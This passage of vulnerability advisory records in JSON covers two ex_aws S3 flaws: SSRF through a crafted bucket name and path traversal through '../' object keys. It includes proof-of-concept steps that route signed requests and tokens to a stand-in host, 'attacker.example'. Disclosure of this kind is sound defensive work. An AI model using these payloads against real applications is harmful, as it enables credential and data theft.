              "packageName": "ex-aws/ex_aws",
              "packageURL": "pkg:github/ex-aws/ex_aws",
              "product": "ex_aws",
              "programFiles": [
                "lib/ex_aws/operation/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "a878943be6def16ffbee6bb9e11d90db1dc904f8",
                  "status": "affected",
                  "version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eReachable only when the S3 client is configured with \u003ccode\u003evirtual_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
                }
              ],
              "value": "Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.8.0",
                      "versionStartIncluding": "2.1.7",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "dateAssigned": "2026-11-24T12:04:08.000Z",
          "datePublic": "2026-11-24T12:17:33.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the request URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/key\u003c/code\u003e, so the request is signed for and sent to \u003ccode\u003eattacker.example\u003c/code\u003e. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e the bucket is the whole hostname, so any valid hostname redirects the request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
                }
              ],
              "value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-664",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
                    }
                  ],
                  "value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918 Server-Side Request Forgery",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T12:17:35.415Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Virtual-host bucket name controls the request host in ExAws.Operation.S3.add_bucket_to_path/2",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"
            },
            {
              "name": "EEF CNA record for CVE-2026-120720",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-120720.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-120720",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-120720"
            },
            {
              "name": "Introducing commit 557d343 in ex-aws/ex_aws",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
            },
            {
              "name": "Fix commit a878943 in ex-aws/ex_aws",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"
            }
          ],
          "solutions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the request host. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e must also set the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e S3 config option to the list of trusted hostnames.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames."
                }
              ],
              "value": "Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames."
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "S3 bucket name controls the request host in ex_aws virtual-host requests",
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eConfigure ex_aws for S3 with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBuild an upload with an attacker-chosen bucket name: \u003ccode\u003eExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eadd_bucket_to_path/2\u003c/code\u003e sets the host to \u003ccode\u003eattacker.example/x?.s3.amazonaws.com\u003c/code\u003e, and \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e renders \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.Auth\u003c/code\u003e signs the \u003ccode\u003ehost\u003c/code\u003e header as \u003ccode\u003eattacker.example\u003c/code\u003e, and hackney connects to \u003ccode\u003eattacker.example:443\u003c/code\u003e with path \u003ccode\u003e/x\u003c/code\u003e and query \u003ccode\u003e.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRunning the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e delivers the signed request, including the upload body and \u003ccode\u003eAuthorization\u003c/code\u003e header, to \u003ccode\u003eattacker.example\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`."
                }
              ],
              "value": "* Configure ex_aws for S3 with virtual_host: true.\n* Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body).\n* add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.\n* ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.\n* Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Host construction.\u003c/strong\u003e In the \u003ccode\u003evirtual_host: true\u003c/code\u003e clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, the request host becomes \u003ccode\u003e\"#{bucket}.#{host}\"\u003c/code\u003e. In the \u003ccode\u003evirtual_host: true, bucket_as_host: true\u003c/code\u003e clause it becomes the bucket name itself. Neither clause checks the bucket name.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. URL rendering and re-parsing.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e places the host verbatim into a \u003ccode\u003e%URI{}\u003c/code\u003e and renders it with \u003ccode\u003eURI.to_string/1\u003c/code\u003e, which does not validate the host. Downstream code re-parses the string: \u003ccode\u003eExAws.Auth.headers/6\u003c/code\u003e signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e splits on the first \u003ccode\u003e?\u003c/code\u003e, and hackney\u0027s \u003ccode\u003eparse_url/1\u003c/code\u003e (or \u003ccode\u003eURI.parse/1\u003c/code\u003e for the Req adapter) resolves the host. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e all of them see the host \u003ccode\u003eattacker.example\u003c/code\u003e, the path \u003ccode\u003e/x\u003c/code\u003e and the query \u003ccode\u003e.s3.amazonaws.com/key\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request to the attacker.\u003c/strong\u003e The HTTP adapter connects to \u003ccode\u003eattacker.example\u003c/code\u003e and sends the fully signed request: the object body on uploads, the \u003ccode\u003eAuthorization\u003c/code\u003e header with the access key id and SigV4 signature, and \u003ccode\u003ex-amz-security-token\u003c/code\u003e when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney\u0027s `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
                }
              ],
              "value": "1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes \"#{bucket}.#{host}\". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney\u0027s parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.\n\n3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-120720",
        "datePublished": "2026-11-24T12:17:35.415Z",
        "dateReserved": "2026-11-24T09:53:42.363Z",
        "dateUpdated": "2026-11-24T12:17:35.415Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-59698 (GCVE-0-2026-59698)

    Vulnerability from cvelistv5 – Published: 2026-11-24 11:45 – Updated: 2026-11-24 11:45
    VLAI
    Title
    ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape
    Summary
    Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix. When ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application's own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix. Only the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials' permissions. This issue affects ex_aws: from 2.1.7 before 2.8.0.
    CWE
    • CWE-23 - Relative Path Traversal
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws Affected: 2.1.7 , < 2.8.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws Affected: 557d3438a7e739a25c1ccc1876a5b636793f20ba , < b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd (git)
        cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 11:45
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Operation.S3\u0027"
              ],
              "packageName": "ex_aws",
              "packageURL": "pkg:hex/ex_aws",
              "product": "ex_aws",
              "programFiles": [
                "lib/ex_aws/operation/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.8.0",
                  "status": "affected",
                  "version": "2.1.7",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.Operation.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws",
              "packageURL": "pkg:github/ex-aws/ex_aws",
              "product": "ex_aws",
              "programFiles": [
                "lib/ex_aws/operation/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd",
                  "status": "affected",
                  "version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e build the request without this client-side normalization and are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with `virtual_host: true` build the request without this client-side normalization and are not affected."
                }
              ],
              "value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with virtual_host: true build the request without this client-side normalization and are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.8.0",
                      "versionStartIncluding": "2.1.7",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T11:45:29.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eRelative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\u003c/p\u003e\n\u003cp\u003eWhen ex_aws builds a path-style S3 request, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e joins the bucket name and the object key into a single path string and then normalizes it, collapsing \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading \u003ccode\u003e../\u003c/code\u003e in the object key pops the bucket off the path. With bucket \u003ccode\u003emybucket\u003c/code\u003e and a key of \u003ccode\u003e../victim/secret.txt\u003c/code\u003e, the combined \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e normalizes to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, so the request (signed with the application\u0027s own credentials) is sent to bucket \u003ccode\u003evictim\u003c/code\u003e. The same mechanism collapses \u003ccode\u003e../\u003c/code\u003e within a key, defeating any isolation an application enforces by prepending a trusted prefix.\u003c/p\u003e\n\u003cp\u003eOnly the default path-style configuration is affected; requests built with \u003ccode\u003evirtual_host: true\u003c/code\u003e do not run this normalization. Because S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` joins the bucket name and the object key into a single path string and then normalizes it, collapsing `.` and `..` segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading `../` in the object key pops the bucket off the path. With bucket `mybucket` and a key of `../victim/secret.txt`, the combined `/mybucket/../victim/secret.txt` normalizes to `/victim/secret.txt`, so the request (signed with the application\u0027s own credentials) is sent to bucket `victim`. The same mechanism collapses `../` within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with `virtual_host: true` do not run this normalization. Because S3 treats object keys as opaque and does not resolve `..` itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
                }
              ],
              "value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application\u0027s own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-139",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-139 Relative Path Traversal"
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 7.4,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-23",
                  "description": "CWE-23 Relative Path Traversal",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T11:45:30.199Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-hrw3-2h5r-fhxx"
            },
            {
              "name": "EEF CNA record for CVE-2026-59698",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-59698.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-59698",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-59698"
            },
            {
              "name": "Introducing commit 557d343 in ex-aws/ex_aws",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
            },
            {
              "name": "Fix commit b1116f9 in ex-aws/ex_aws",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws/commit/b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eConfigure the ex_aws S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain \u003ccode\u003e..\u003c/code\u003e segments before passing them to ex_aws.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Configure the ex_aws S3 client with `virtual_host: true`, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain `..` segments before passing them to ex_aws."
                }
              ],
              "value": "Configure the ex_aws S3 client with virtual_host: true, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain .. segments before passing them to ex_aws."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
